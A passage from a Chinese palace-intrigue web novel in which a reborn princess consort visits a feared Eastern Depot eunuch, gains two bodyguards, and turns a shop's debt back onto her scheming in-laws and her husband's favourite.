主仆二人很快离开,从始至终也不曾往屋中看去一眼。 萧子景仰面朝天躺在床上,听着外面的动静,大睁着双眼了无睡意。 连长姐的命令都敢违抗,叶晚竹竟然如此胆大包天! 这下该如何是好? —— 次日。 叶晚竹从睡梦中醒来,便感到浑身乏力,骨头缝里似乎都渗着酸痛。 这感觉有些不妙,她刚撑起身子,便觉眼前一阵天旋地转。 熟悉的虚弱袭上,叶晚竹靠在床头,缓了半天才生出力气,喊了书画进来。 “王妃!是不是旧疾又犯了!” 书画进到屋中,看见叶晚竹苍白的脸色便是一惊。 叶晚竹有气无力地点头。 “定是昨日打那几条老狗累的!”书画忿忿不平地嘀咕着,“奴婢去给您取药!” 叶晚竹看着她在柜子面前低头翻找,又无力地合上了双眼。 生下萧延之后,她身子太过亏空,劳累过度便会如此,此番想来是重生后整日忙碌所致。 这也正好给她提了个醒。 叶晚竹默默地盘算着,她现在用的药不过是京中随便一个大夫开的,治标不治本,前世她被萧子景拿捏着日益虚弱,哪还有力气寻医;今生倒是可以早做打算,找个好大夫调理身子。 不说恢复到上阵杀敌的水平,至少也不能如此虚弱不堪。 “王妃,药来了。” 书画端着药丸和温水来到床边,伺候着叶晚竹吞下一粒,又忧心忡忡地道,“您这样,今日便不要去东厂赴宴了吧?” “那怎么行?” 服了药,又缓和片刻,眩晕的症状渐渐好转,叶晚竹低笑一声。 “我若是不去,万一九千岁以为我是故意推搪,那可就糟糕了,我还等着抱他的大腿呢。” 想到谢无咎那阴鸷狠辣的模样,书画缩了缩脖子,也不敢再劝。 “那奴婢去给您将厚衣裳拿来。” 药丸还是起了不少作用的,等叶晚竹穿戴整齐,又用过早饭,已经感到不适消退了大半。 只是脸色一时间还缓不过来。 看着铜镜中自己面容虚白的模样,叶晚竹往唇上点了些口脂方才起身离开。 白日的京城热闹繁华,可越靠近东厂,街道两旁的人便越少,直至空空如也。 拐过最后一道弯,宽敞大道徐徐展开,两旁鲜艳精美的人皮灯笼正随风飘动。 车夫畏惧不已,不敢继续前行,和叶晚竹打着商量,要将马车就停在这里。 书画正要与他分辩,忽然听见一个声音从外面传了来。 “车上可是景平王妃?都督让小的前来引路。” 第二十二章 本督有礼相送 是那日在裴府见过的隐月。 带着软轿从大道上而来,隐月面色不善地看着那车夫,显然是将他方才的话全都听了过去。 “好大胆的奴才,王妃的命令都不听,怎么,看不起我们东厂不成?” 车夫瑟瑟发抖,连声讨饶,一张脸瞬间变得惨白。 隐月还要再说,车门这时打开,叶晚竹倾身向外,露出一张有些苍白的脸。 他连忙躬身,“见过王妃!” “有劳了,引我进去吧。” 叶晚竹点点头,比起上次在街上那位,这个叫隐月的侍卫倒是挺懂礼貌。 隐月又阴恻恻地看了那车夫一眼,方才亲自上前将叶晚竹从马车上扶了下来。 叶晚竹过去入宫赴宴的时候也坐过软轿,可这会儿出现在眼前的坐骑玄底绛面,布料在日光下泛着柔顺的色泽,扶手与靠背竟是红木制成,一眼看去比宫中所用还显得华贵。 “这是都督的座椅。” 见叶晚竹盯着软轿,隐月面上隐隐显出骄傲神色。 回过神,叶晚竹礼貌地夸赞了两句,而后便毫不客气地抬脚坐了上去。 谢无咎这个主人都不怕,她只是用一下,更没什么好怕的! 只是,他这般嚣张放肆,宫中也不见有什么意见传出,看来圣上对这位九千岁的态度的确放纵…… 东厂就在宫城东侧,曾经是一块不算太大的院子,自谢无咎接手后,短短几年面积就翻了几番,据说还修建出了自己的刑讯部门和监牢,俨然是小一号的朝廷。 而今东厂一侧与皇城对面而望,另一侧就是叶晚竹现在走着的这条路了。 这显然不合规矩,但谁敢在九千岁面前讲规矩? 一人之下万人之上,叶晚竹眼下对此更有了新的认识。 思索间,主殿到了。 叶晚竹走下软轿,眼前大殿更是金碧辉煌,两侧侍卫面无表情地目视前方,好像没看见叶晚竹的到来。 殿门前,谢无咎懒洋洋地从屋里走了出来,一身红衣妖冶,手中折扇一指,“景平王妃,请吧?” 叶晚竹随着他走进殿中,大殿宽敞而幽静,点着沁人心脾的香料,与传言中鲜血遍地,哀嚎绕梁的模样显然大相径庭。 叶晚竹甚至恍惚觉得这是间书斋茶舍之流。 “王妃这么快就来登门道谢,真是让本督,受宠若惊啊。” 带着淡淡轻佻的声音响起,叶晚竹收回目光,躬身一礼。 “九千岁数次施以援手,妾身自然要报答您的恩德,这份谢礼请九千岁莫要拒绝。” 书画应声上前,双手捧着一个长条物什。 谢无咎示意隐月去拿过来,打开盒子一看,险些被森冷寒气晃了眼。 “白虹?”谢无咎有些意外地抬眼看去。 名剑白虹,传说气势可吞山河,一剑出,百兵不敢与之争锋。 叶晚竹微微一笑。 “这是天清子大师的珍藏,宝剑赠英雄,此剑与九千岁最合适不过。” 天清子大师最擅用剑,家中藏剑无数,叶晚竹得她一身亲传,本也是用剑高手,如今却身子虚弱,使不动了。 谢无咎靠在软塌上,撑着脑袋,双眼定定落在叶晚竹面上。 她脸色不好,眼底也泛着青黑,唯有一点朱唇色泽鲜妍,却好像艳得过了头。 像开到极致的春花,随时都能因为一阵风而凋零。 谢无咎又看了看放在面前的白虹剑。 “王妃送上这样一份重礼,莫不是要和本督划清界限?” 心思被一语道破,叶晚竹微惊,面上却笑容依旧。 “九千岁大恩无以为报,此剑赠上,妾身也只觉是聊表孝心罢了。” 界限一事,她却半个字都不曾提起。 谢无咎闻言又静静地看了半晌,方才忽然笑了起来。 他笑得妖冶又肆意,声音回响在大殿中,终于勾出了阴森气势。 “好啊!” 笑够了,谢无咎一拍小几,“王妃的这份大礼本督收下了,礼尚往来,本督今日也正巧要送王妃一份礼物。” 他一个眼神扫过,殿外的侍卫应声而动。 片刻之后,伴着重物被拖拽的动静,两个侍卫架着一个衣衫褴褛,浑身是伤的男人走了进来。 看清此人的模样,正是那日在街上护卫谢无咎的侍卫隐竹,叶晚竹呼吸一滞。 书画更是下意识地倒吸一口冷气,往叶晚竹身后躲了半步。 “九千岁这是何意?” 将书画挡在身后,叶晚竹看着谢无咎懒散恣意的模样,却皱起了眉头。 “他口无遮拦,在本督面前说了王妃的坏话,当然要受惩罚。” 谢无咎捻动佛珠,发出清脆的响声,不紧不慢,却好像敲在人心头一般。 “隐竹?”谢无咎忽然垂眸,“你可知错了?” 一身狼狈的隐竹被丢在大殿冰凉的地板上,全身颤抖,闻言却立刻爬起来,规规矩矩地跪在谢无咎面前。 “属下知错,甘愿受罚!” 哆嗦着,隐竹低垂的眉眼下仍是带着一丝不甘。 他那日私下派人去调查叶晚竹,消息刚放出去就被主子发现,随即便被押到了东厂的水牢之中。 百般酷刑加身,隐竹生不欲死。 对叶晚竹的反感却与日俱增。 要不是这个女人出现,主子怎么会对自己下这样的狠手! 他从前可是主子身边的第一人! 好不容易才重见天日,隐竹本以为主子终于原谅了自己,谁知,竟然会在东厂看见叶晚竹。 又是她! 再三隐忍之下,隐竹的身子颤抖得更加厉害。 将佛珠绕在手指间把玩,谢无咎的目光从隐竹身上扫过,又朝叶晚竹看去。 “本督看王妃身边,好像少个护卫啊。” 这是何意? 叶晚竹下意识地朝隐竹看了过去。 “这厮脑子不好用,功夫倒是高得很,他正好说了王妃的坏话,不如王妃带回去,让他赎罪好了。” 谢无咎慢悠悠地开了口,果然如此。 “此人对我不善,放在身边,岂不是反而危险?” 话都说到这儿了,叶晚竹索性也不再绕圈子。 “这是九千岁的人,我管教不得,九千岁还是自己收着吧!” 她话音刚落,谢无咎神情一厉! 第二十三章 躲不开,那就不躲了! 煞气顿时铺天盖地般袭来。 连同站在谢无咎身旁的隐月在内,殿中所有人都低垂着脑袋不敢作声,甚至连大气都不敢喘。 这景平王妃真是个疯的,竟然敢当面拒绝九千岁! 上一个敢这样做的人,坟头草只怕都好几丈高了吧? 简直是找死啊! 叶晚竹却毫无畏惧地与谢无咎对视着。 这叫隐竹的侍卫,一看就不是真心悔过,他对自己意见不小,还武功高强,把这样的人放在身边,叶晚竹若是答应,才叫找死! “王妃看不上他?” 谢无咎沉沉开口,语气不辨喜怒。 叶晚竹一点头。 “自然,想做我的下人,不能是个不忠心的,更别说对我心怀怨怼了。” 别有二心的奴才,要来何用? 殿中更加寂静了。 比起刚才,叶晚竹这可是明晃晃地承认了她对九千岁的安排不满啊! “哈哈哈哈……” 眼看气氛已经紧张到了最高点,谢无咎却忽然放声大笑起来。 “听见了没有,隐竹?”他笑声畅快,“连景平王妃的要求都达不到,你也配给本督做手下?” 隐竹伏在地上,浑身一震,呼吸也变得急促。 他这才发现自己犯了主子的忌讳,而主子也不是想把他送给景平王妃,而是在警告他! “主子!”隐竹奋力抬起头,“属下,属下——” “押下去,继续用刑。” 笑声一收,谢无咎打断他的话,顿时又恢复了阴鸷冰冷的模样。 他对隐竹还是太好,好到他竟敢越过自己,私下出手。 这一次只是要查叶晚竹,若是下次,他想要自己的脑袋呢? 一次不忠,百次不用。 谢无咎眼神如刀,上前将隐竹拖起带走的两个侍卫都跟着阵阵颤抖。 要知道,隐竹可是九千岁身边最为信任的侍卫。 顷刻之间便成了这个下场! 同为手下,侍卫们齐齐不寒而栗,更是加强警惕,绝对不能忤逆九千岁的心思! 隐竹还想说什么,嘴却被人堵上,呜咽着被拉回后院,很快就没了动静。 殿中满是血水污渍,几个小太监跪在地上一点点地洗净擦干,又重新用香料熏过,很快,屋中便和叶晚竹刚刚前来的时候没有任何差别了。 叶晚竹看着小太监们娴熟的动作,不知道在自己之前,这种事情已经发生过多少遍? “进来。” 殿中清理一新,谢无咎懒洋洋地拍了拍手。 两个一身黑衣,看上去与隐月无异的侍卫走了进来。 “去,见见你们的新主子。”谢无咎态度随意地朝着叶晚竹一摆手。 二人连半分犹豫也无,径直走到叶晚竹面前单膝跪下,“主子!” 看着二人的模样,叶晚竹抬起头,朝谢无咎的方向微微挑眉。 先是隐竹,又是这两人,九千岁大人今日非要送她几个人手? “方才不小心恶心了王妃一次,权当赔罪礼了。” 谢无咎仍是笑着,一双眼睛弯成月牙,眼角泪痣鲜红慑人。 他语气轻柔,“况且,本督与王妃一见如故,对友人,本督向来鼎力相助。” “区区两个手下,王妃不必客气,从今日起,这两人便随你任意差遣。” 叶晚竹的嘴角忍不住抽动了两下。 一见如故? 她怎么不知道自己和这杀神还有这样的缘分? 可谢无咎虽是笑着,微微眯起的双眼却带着不容违抗的威严。 “那妾身就谢过九千岁的好意了。” 眼珠子一转,叶晚竹也笑了。 管他如故不如故,有这两个侍卫在身边,肯定能给她解决不少还未出现的麻烦。 谢无咎心狠手辣,眼下却又不是冲着自己而来,相反还要给她提供帮助,她为什么不答应? 现在惹怒他,岂不是得不偿失? 躲不开,那就索性不躲了! 谢无咎不就是看她发疯对了胃口吗,巧了,叶晚竹这疯正好也打算继续发作下去。 他想看,那就让他看个痛快,看个过瘾! 况且,她的好戏也不能白看,若是有机会,她说不定能从谢无咎身上讨到更多好处。 有权倾朝纲的九千岁在,萧子景,还有景平王府…… 心念转动,叶晚竹眼底绽开了一抹疯狂,连瞳孔都跟着微微扩散,俨然已经处于兴奋之中。 不知道她在想什么,谢无咎却也觉得自己的血液因为叶晚竹的疯狂而一同鼓噪起来。 或许,他们还真是同类人呢…… —— 叶晚竹胆量通天,在东厂盘算着利用九千岁的时候,阮莹莹也带着丫鬟来到了铺子当中。 叶晚竹给了她三间铺子的管理权,这已经是最后一间,是家不大不小的香料铺子。 一进门,浓郁香气迎面而来,阮莹莹忍不住打了个喷嚏。 店里没有客人,几个伙计也无精打采地趴在柜台后休息,听见动静只抬头漠然地看了她一眼。 阮莹莹目光扫过,心下生恨。 打理铺子听起来简单,可几家店铺里的都是叶晚竹的人,根本不听她的话,办事也敷衍至极。 几天忙下来一事无成,阮莹莹却把自己累得够呛。 她甚至怀疑这是不是叶晚竹故意想来整她的办法。 忍下恼怒,阮莹莹给自己的丫鬟璎珞使了个眼色。 “起来!都起来!东家查账,你们就是这样敷衍的?仔细剥了你们的皮!” 璎珞这些天受气更多,吼得越发凶神恶煞。 她狠狠将柜台一拍,掌柜的终于站起身来。 “您是哪位东家?”将阮莹莹上下打量了一回,妩媚妖娆的掌柜夏铃倚着台面,目露疑惑。 “这可是景平王妃的铺子,姑娘可别走错了地方。” 夏铃语气轻慢,一如先前那两家铺子的掌柜一般。 阮莹莹冷笑一声,将腰牌解下重重地甩在桌上,正要开口,一个神情紧张的伙计却从外面跑了进来。 “夏掌柜,不好了,那些人又来了!” 夏铃面色一变,“快,关门!” 可还没等她有所动作,更多密集的脚步声响起,几个流氓地痞一般人物一脚踹开报信的伙计闯了进来。 “三日时间已到,银子呢?” 领头的男人气质猥琐,色眯眯地对着夏铃吹了声口哨。 “没有银子,就只能委屈夏掌柜跟我们走一趟咯!” 他语气越发狎昵,夏铃却并未退缩,反而勾起一个笑。 “巧了,你们赶上东家过来,有什么话,找我们东家说吧。” 第二十四章 到底谁给银子? 夏铃抬手一指阮莹莹面门。 阮莹莹还没弄明白发生了什么,被这几个眼神污秽的男人看着,忍不住鸡皮疙瘩直冒。 “她是东家?” 方才说话的那男人收回目光,又怀疑地看向夏铃。 “我怎么没在铺子里看到过这号人物?别是你编出来骗人的吧?” 这姑娘一副弄不清状况的呆愣模样,能是东家? 夏铃又轻笑一声。 “当然是东家,我胆子再大,也不敢拿景平王府逗趣吧?这位可是景平王爷的救命恩人,王府未来的女主子,大名鼎鼎的阮姑娘,你们应该也有所耳闻才对啊。” 萧子景从战场回京那日,阮莹莹与他同乘一骑而来,京中百姓都看得一清二楚。 男人的脸色这就变了变。 阮莹莹阴恻恻地从另一边看去。 这贱人,对她的情况了解得如此清楚,刚才是故意装傻! “阮姑娘还拿着王府的腰牌呢,她今日前来就是要接手铺子的,二狗兄弟不信我,总不能不信王府的东西吧?” 夏铃斜晲阮莹莹一眼,权当没看见,反手又将桌上的腰牌挑起,在几人面前都晃了晃。 玉牌镶金,上面刻着景平王府的标志,做不得假。 互相对视一眼,领头的男人果断朝着阮莹莹看去,这回眼神便带上了某种势在必得。 “你,你要干什么?” 阮莹莹咽了咽口水,眼神慌乱。 “我是王府的人,你敢动我,王爷要你好看!” 她还记得这男人落在夏铃身上的恶心眼神。 “夫人这可是天大的误会了。” 二狗却忽然躬身,笑得谄媚又讨好。 “您是什么身份,小的哪儿敢跟您动粗,只是……这香料铺欠了钱庄五千两白银,好几个月不曾归还,小的来要银子,夏掌柜只管让我等,原来等的就是您这位大东家!” 他是钱庄雇来催债的流氓,不是傻子。 夏铃只是掌柜,店里没钱,她也变不出来。 可这王府的东家就不一样了。 “大东家,您也不想让全京城的人都知道景平王府竟然欠债不还吧?” 笑着笑着,二狗眼里的威胁便又冒了头。 阮莹莹双腿哆嗦着,不知道该如何是好。 她是想来铺子里捞钱的,怎么现在变成要给钱了! 难道这才是叶晚竹的真实目的? 阮莹莹忽然觉得自己想通了关键。 这个贱人!贱人! “难道夫人也想赖账?” 阮莹莹一味沉默,二狗见状忽然厉声。 “欠债还钱天经地义,就算是王府也不能破例!夫人若是不想拿银子,那就按我们江湖规矩来!老二老三!” 身后两个贼眉鼠眼的瘦小男人立刻上前,不由分说便将阮莹莹一把按在桌边。 “你们干什么!” 阮莹莹大叫着挣扎,却还是被其中一人扯住胳膊,死死压在桌面上。 “银子没有,就拿手指抵债。” 他狞笑一声,从怀中摸出一把匕首,刀刃磨得雪亮。 “一千两一根,五千两,正好一只手!” 一边说着,刀尖已经贴上了阮莹莹的手背。 “不要!我还钱,还钱!” 阮莹莹失声尖叫,面上顿时大汗淋漓。 她死死盯着二狗手里的匕首,生怕他会忽然动手。 “哦?那就请夫人拿银子来吧。”二狗闻言却没有松手,“一手交钱,一手放人。” 怎么轮到她就这么着急? 阮莹莹心下暗恨,却又不敢反驳,想了想,她挺起胸膛。 “我今日是来查账,没想到会发生这样的事,身上没带着银子,不如你们随我回府去取。” 二狗嗤了一声。 “然后被王府的下人打出来?夫人的算盘打得真好。” 阮莹莹一哽,又转了转眼珠子。 “那你跟我回去,剩下的人留在铺子里,要是我骗了你们,这铺子,任由你们怎么处置。” “你——” 夏铃眉头一皱要开口,阮莹莹却截断了她的话头。 “到时候夏掌柜你也可以带走。” 二狗垂涎的目光这便止不住地往夏铃身上落去。 “行,”他一把丢开匕首,“就这么办!” —— 景平王府。 叶晚竹带着新收的两个侍卫,乘着马车不紧不慢地出现在门前。 谢无咎原本还想留她用饭,可宫中忽然来了密旨,瞧着紧张,他也只能先放叶晚竹离开。 “今日怠慢了王妃,下次本督再做补偿。”临行前,谢无咎又抛下了这么一句话。 心态转变,叶晚竹一口就答应了下来。 再看谢无咎春风拂面的笑容时,也没了先前那阴恻恻的感觉。 待马车停稳,叶晚竹刚从车中探出身子,便见着另外一辆熟悉的车从对面驶了过来。 阮莹莹回府了? 不知道她把那几间铺子管的如何。 叶晚竹于是不紧不慢地下了车,站在原地等待。 “姐姐!” 片刻后车帘掀开,阮莹莹出现时脸色还显得有些难看,在见到叶晚竹之后立刻变作巨大的惊喜。 好像有点问题。 还没等叶晚竹开口,阮莹莹动作飞快地来到她面前,抬手挽住了她的胳膊。 “姐姐,你回来的正好!那香料铺子欠了别人五千两银子,铺子是你的,还是姐姐做主为好。” 阮莹莹从来没这么高兴能看到叶晚竹,就连语气都亲昵了不少。 天助她也啊! 叶晚竹闻言明白过来,反手一拧便将阮莹莹推到几步开外。 “要钱花的时候说铺子是王府的,欠了银子就说是我的,阮莹莹,你这张狗嘴里什么时候才能吐出象牙?” 阮莹莹跌倒在地,脸上青一阵,白一阵,低着头却就是不说话。 就算叶晚竹今天骂得再难听,她也不能接招! 那香料铺子自己压根没接手,不能让叶晚竹扣到她身上! 这可是五千两啊! 反正铺子是叶晚竹的,她迟早得出手解决! 叶晚竹还想再说,身前又传来一声,“王妃。” 转过头,一个样貌气质都很猥琐的男人,正点头哈腰地站在面前。 “小的是替钱庄办事的……” 这男人又将话说了一遍,再加上阮莹莹的安排,末了道:“……您看,这银子到底该谁给?” 第二十五章 问大嫂要钱,抬王爷出府! 虽然是要账,可看着景平王妃身边那两个人高马大的侍卫,还有王妃本人冷言冷语的模样,二狗深深地躬着身子,看起来更像是欠账的那个。 叶晚竹垂下目光看去。 “你说铺子欠了钱就是欠了?有什么凭证?” “有的,有的!” 二狗越发卑躬屈膝,从怀里掏出一张皱巴巴的欠条,“王妃,您请看!” 叶晚竹名下所有欠账的铺子,都是柳汝兰所为,不过,她这好大嫂精明得很,签字画押留的全是叶晚竹的名字。 白纸黑字地摆在眼前,看着景平王妃容色变冷,二狗笑得更加小心。 “要是没问题,您——” “书画。” 叶晚竹在她耳边低语两句,书画闻言立刻跑进府中,很快又端着笔墨一溜小跑地出来了。 叶晚竹大笔一勾,将自己的名字涂得漆黑。 “王妃!您这是干什么!” 二狗立刻大喊一声,想上前抢回欠条,却被隐风隐川两人一把按倒在地。 “你们想赖账是不是?”他扯着嗓子大喊,“景平王府仗势欺人啦!景平王妃要杀人啦!” “闭嘴,否则割了你的舌头!”隐风一把掐住他的脖子,眼中凶光毕现。 看过隐竹的下场,他和隐川早已达成共识。 只要九千岁不发话,王妃就是他们的亲主子! “不忙着割。” 叶晚竹悠悠出声,示意两人将这叫二狗的男人带到自己面前来。 “王妃,小的有眼无珠……” 二狗不住地哆嗦着,方才那侍卫好像随时可以杀了他! “您的铺子没欠银子,是小的弄错了!”他哭丧着脸道。 “白纸黑字地写着,怎么就没欠银子?” 叶晚竹重新把那张欠条摆在他面前。 “我们景平王府可不是欠银子不还的恶棍,只是冤有头债有主,你得找准了人!” 二狗定睛看去,黑漆漆的墨团旁,铁画银钩地写着三个大字。 “……兰?”他聚精会神地看了半天,迟疑道。 天地良心,这人是谁! 他就是个流氓地痞,不识字啊! “柳、汝、兰,萧家大房大夫人。” 叶晚竹一字一字地指给他认着,笑颜如花,“大房的院子进门左转就是,记住了没?” 二狗双腿发软,若不是被架着,恐怕就要坐倒在地。 景平王妃这是什么意思? 让他去跟这位柳大夫人要钱? 王妃是王府的主子不假,可柳大夫人不是也住这儿吗! “王妃……您饶了小的吧。”他欲哭无泪地道,“这银子,这银子小的不要了还不行吗?” 这是不是王妃在故意消遣他? “当然不行!” 叶晚竹将面上笑容一收,眉目更加森冷。 “你不要,景平王府岂不是白白背上一个欠钱不还的恶名?隐风,把他给我丢到大房院里,他若是要不到这五千两银子,那就不用出来了!” 隐风立刻反剪了二狗的一双胳膊往院中去,二狗还想大喊大叫,触到他冰冷的眼神,顿时又不敢出声了。 叶晚竹则是重新转头,朝还坐在地上的阮莹莹看了过去。 “姐,姐姐……”阮莹莹挤出一个比哭还难看的假笑。 “妹妹就是这么替我分忧的?”叶晚竹缓步朝她走去,“都把要债的人带回王府来了,真是好样的。” 阮莹莹见状怕得要命,手脚并用地往后挪了几步,又被叶晚竹一把拎住了衣领。 “跑?妹妹想跑到哪儿去?” 她空着的那只手顺着阮莹莹的侧脸缓缓滑下,力道不轻不重。 阮莹莹却止不住地颤抖起来,又想起了那日被叶晚竹当众羞辱的一幕。 “你放开我!”她顿时挣扎起来,“杀人啦!叶晚竹杀人啦!” 景平王府是圣上御赐的宅子,作为唯一的外姓王,萧子景的一切都与皇亲国戚们没有任何差别,就连这宅子也在一众亲王郡主府附近。 门前的街上虽然没有行人,但阮莹莹凄厉的惨叫,想来还是能传到周围王府里去的。 “你哪只眼睛看见我杀人了?又撒谎!” 阮莹莹哭得鼻涕眼泪一大把,叶晚竹嫌恶地松开手,这个时候,萧子景身边的侍卫冬生跑了出来。 “王,王妃……” 他硬着头皮喊住叶晚竹,“王爷说,有什么话,请您和阮姑娘进来再说……” 外面闹得不可开交,萧子景早就听见了。 可他起不了身,也不想出来丢人现眼。 叶晚竹又踹了阮莹莹一脚才转过身。 “王爷更是个会做好人的,让阮莹莹来管铺子的人是他,现在管出了问题,我倒是要听听他打算怎么办!” 她气势汹汹,冬生却也得了萧子景的嘱咐,缩着脖子连连赔笑。 “王妃您消消气,王爷已经在屋中等候,您坐下慢慢说话!” “可惜,我有点等不及呢。” 叶晚竹咧嘴一笑,冬生忽然觉得自己背后猛地窜上一阵寒意。 “隐川!”叶晚竹又转过头,“你现在就去把王爷请到这儿来!” 萧子景不想丢人? 那她偏要叫他颜面尽失! “王妃使不得啊!”冬生闻言大惊失色,“王爷他,王爷他的病还没好呢!” 叶晚竹的笑容顿时变得更加灿烂。 “隐川,那你就尽快把王爷抬到这儿来!” 萧子景眼下正倚坐在床边,听着大房那边传来鬼哭狼嚎的动静,忍不住眉头紧皱。 叶晚竹这又是在干什么! 她自己的铺子亏了钱,是怎么好意思去朝大嫂要的? 可萧子景这会儿就是想管,也是有心无力。 且不说他腹部仍在隐隐作痛,到今天还不能正常进食,饿得头晕眼花;叶晚竹还在府外故意为难阮莹莹,萧子景实在是顾不过来。 他深吸一口气,听着那边越来越乱—— 不对! 这动静,好像是从自己院里发出来的! 萧子景猛地扭头,房门也在这时候被人一把推开! 下人的惨叫此起彼伏地响起,一个身穿黑衣,浑身杀气腾腾的男人出现在门前。 “你是何人!竟敢擅闯王府!”萧子景厉声道。 下一刻,那人大步走进屋中,左右看看,弯腰抄起了墙边的一把摇椅。 萧子景:? “诶你干什么?放开本王!” 第二十六章 叶晚竹,你要干什么? 大房所在的秋雨阁,这会儿也热闹得很。 “凭什么管我要银子?那欠条上写的是谁的名字?” “不可能!” “叶晚竹这个贱人!” 二狗已经在隐风的“保护”下来到柳汝兰面前,将那张涂改过的欠条掏出来给她一看,柳汝兰立刻就炸了毛,一迭声地痛骂起来。 看着欠条上糊成一团的墨迹,柳汝兰气得眼前一阵一阵地发黑。 这叶晚竹是无赖还是强盗? 怎么能想出这样不要脸的办法! “滚,你现在就给老娘滚出去!”气愤难当,柳汝兰连贵妇的脸面都忘了做。 二狗却站着没动,甚至还将后背挺直了些。 “柳大夫人,这白纸黑字地写着您的名字,您不给钱,有点儿说不过去吧?” 二狗的语气带着一丝威胁。 秋雨阁的院子里满是躺在地上哀嚎的家丁小厮,这些都是隐川一路过来打倒的,不费丝毫力气。 这侍卫是景平王妃的人,那说明什么? 说明王府里最厉害的人就是王妃啊! 作为一个地痞流氓,二狗或许没有别的本事,但抱人大腿还是十分精通的。 听王妃的话,他今日才有出路! “柳大夫人,”二狗越发仰起下巴,“区区五千两白银,对您来说肯定是小菜一碟,您要是非不给——” 一边拖长了音调,二狗的眼神一边不住地在琳琅满目的前厅中游移着。 他是个没什么见识的,只知道这屋里每样东西都漂亮得很,隐风背着双手站在门边,打量着屋中的摆设却忍不住心下暗惊。 景平王府门前瞧着朴素,听说萧家尚未发迹之前也没什么家底,一直是靠王妃的嫁妆贴补。 没想到,大房所居的院落居然处处不凡。 光是墙上那幅前朝大家的真迹,便是有价无市! 想想王妃的话,还有眼前这二狗和他手里的欠条,隐风的脸变得越发冰寒。 “你敢威胁我?” 隐风打量四下的功夫,柳汝兰抄起手边的茶杯猛地朝二狗砸了过去。 “这欠条跟我没关系!再说一次,赶紧给我滚,否则我叫官府的人来抓你!” 二狗侧身躲过,表情也没有刚才那么好看了。 “官府?”他冷嗤着,“就算官府来了,欠钱给银子也是理所应当的!” “哦?” 一道不善的声音传来,萧家大哥萧子易面沉如水地走了进来。 “这就是你把我们王府的下人打成这样的理由?” 萧子易瞧着是个厉害的,二狗立刻下意识地朝隐风看去。 隐风板着脸并不做声,萧子易的目光也依旧落在二狗身上。 “老爷!”柳汝兰这时候红着眼眶扑了过来,“弟妹的铺子欠了银子,竟然故意涂改欠条,将妾身的名字写了上去!” 夫妻二人一对眼神,萧子易立刻重重地哼了一声。 “胡闹!” 二狗下意识地一缩脖子,这才后知后觉地发现萧子易是在对着柳汝兰说话。 “好端端的,弟妹怎么会做出这样猪狗不如的事情来?这里面肯定有什么误会,你这么急着发脾气做什么?让人看去,还以为是我们大房心虚!” 他故作姿态,声急色厉,柳汝兰垂着头不吭声,萧子易又转向二狗。 “这位兄弟,”他立刻变了语气,“你稍等一会儿,我让下人去问问,这究竟是怎么一回事。” 二狗却梗着脖子,“不用问了,这五千两银子就是柳大夫人欠的!老爷要是真这么通情达理,那就赶紧拿银子吧!” 别以为他听不出来! 骂谁猪狗不如呢? 他容易吗! 他可还记得王妃的话呢! 萧子易面上的伪装这下子就绷不住了,眼神也变得危险起来。 叶晚竹这是要干什么? —— “叶晚竹!你疯了不成!” 王府正门前,萧子景一脸怔愣地坐在摇椅上,看着叶晚竹再也忍不住地大喝了一声。 “这又是你从哪儿找来的野人?”他抬手一指隐川。 这家伙打翻了所有上前阻拦的下人,一手拿摇椅,一手扛他,就这么脸不红气不喘地从春风居一路走出来了! 叶晚竹也在看着萧子景,见他越发憔悴,心里更是痛快。 “王爷可要小心说话,”她弯了弯唇角,“这位是九千岁的手下,难道在您心里,九千岁掌管的都是一些野人?” 怎么也没想到这个答案,萧子景倒吸一口冷气,一张脸涨得通红。 谢无咎? 怎么又是这阉贼? 叶晚竹当真是要跟他没完没了地搅和在一起了! “你到底要干什么?”萧子景从牙根里挤出几个字来。 叶晚竹笑吟吟地转过身子,将一身狼狈的阮莹莹拎了过来。 “是王爷派妹妹来协助我管家的?”她问道。 萧子景先是心疼地看着阮莹莹的模样,等听到叶晚竹的问话,又变作一脸警惕,“怎么?” “妹妹好本事,”叶晚竹红唇微勾,“替我找出了铺子里的一个大漏洞,足足五千两白银呢!” 闻言不只是萧子景面露怔然,就连阮莹莹也愣住了。 叶晚竹怎么忽然变了口风? “王爷想不想知道,这本该属于你的五千两银子,现在在什么地方?” 将二人的表情都纳入眼底,叶晚竹仍是笑容不减。 她问话声落下,四周暂时一片安静,只隐隐约约有混乱声从秋雨阁那边不断传来。 想着自己方才在屋中听到的那些动静,萧子景的表情变了又变。 这些年来,叶晚竹的那些陪嫁铺子的确都是大嫂在打理,难道,难道…… 但那可是大嫂啊! 可话又说回来,五千两银子,也的确不是个小数…… 不当家不知柴米贵,萧子景原来从不在意花用,可自从叶晚竹断了给王府的供给,萧子景这才发现穷困潦倒的滋味他已经无法容忍。 叶晚竹看着他挣扎为难的模样,眼底浮起满意的神情。 她收回从前给予萧家的一切,这帮畜生也别想像从前一样抱成一团。 她倒是想看看,在银子的诱惑下,萧子景,阮莹莹,还有大房那对夫妻,还能不能团结一心? “书画,你去看看,秋雨阁那边怎么样了。” 第二十七章 大嫂,承认就好 书画应声而去,很快,柳汝兰和萧子易夫妇便面色不善地出现在叶晚竹面前。 隐风带着二狗跟在后面,银子没要到,二狗缩着脖子,连看都不敢抬眼往叶晚竹这边看来。 他办砸了王妃的差事,今天还能有好吗? “二弟也在,倒是正好。” 萧子易赶在所有人面前开口,他憋了一肚子的火,就连面上的笑容都变得有些僵硬。 方才二狗对他紧咬不放,五个字里必有还钱,萧子易这会儿看着叶晚竹的眼神都散发着寒意。 “大哥。” 萧子景张了张口,表情变得有些愧疚,“是我没管好她!” 竟然三番五次地闹到大房! 萧子易咬着牙笑,“无妨,这一定是误会,只要解开就好了,不过,家丑莫要外传,还是进院子里说吧。” 所有人都站在王府大门前吵架,这算怎么回事? “家丑?” 叶晚竹这时候走了过来。 “原来大哥也知道掏空弟妹的嫁妆铺子是家丑啊?” “叶晚竹!”她话音未落,萧子景便皱着眉头厉喝一声,“不准对大哥不敬!” “我就不敬,有本事,王爷起来打我?” 叶晚竹挑着眼角斜晲过去,目光着重地在萧子景腰腹之间转了一圈。 “那些好东西,王爷已经消化干净了?” 萧子景的脸色顿时变得一片青,一片白。 他那日浣肠也没能将腹中的观音土全部排出,醒来后喝了不少汤药,直到现在方便时还很不痛快…… “贱人!”他表情扭曲,“你就是要让景平王府鸡犬不宁,是不是?” 那当然是了。 笑容加深,叶晚竹并未说话,萧子景见状也越发恼怒起来。 “好了好了。” 眼见萧子景的怒火被勾起得差不多,萧子易这才不紧不慢地开了口。 “这些气话就别说了,伤感情得很,阿景啊,眼下还是先说正事吧。” 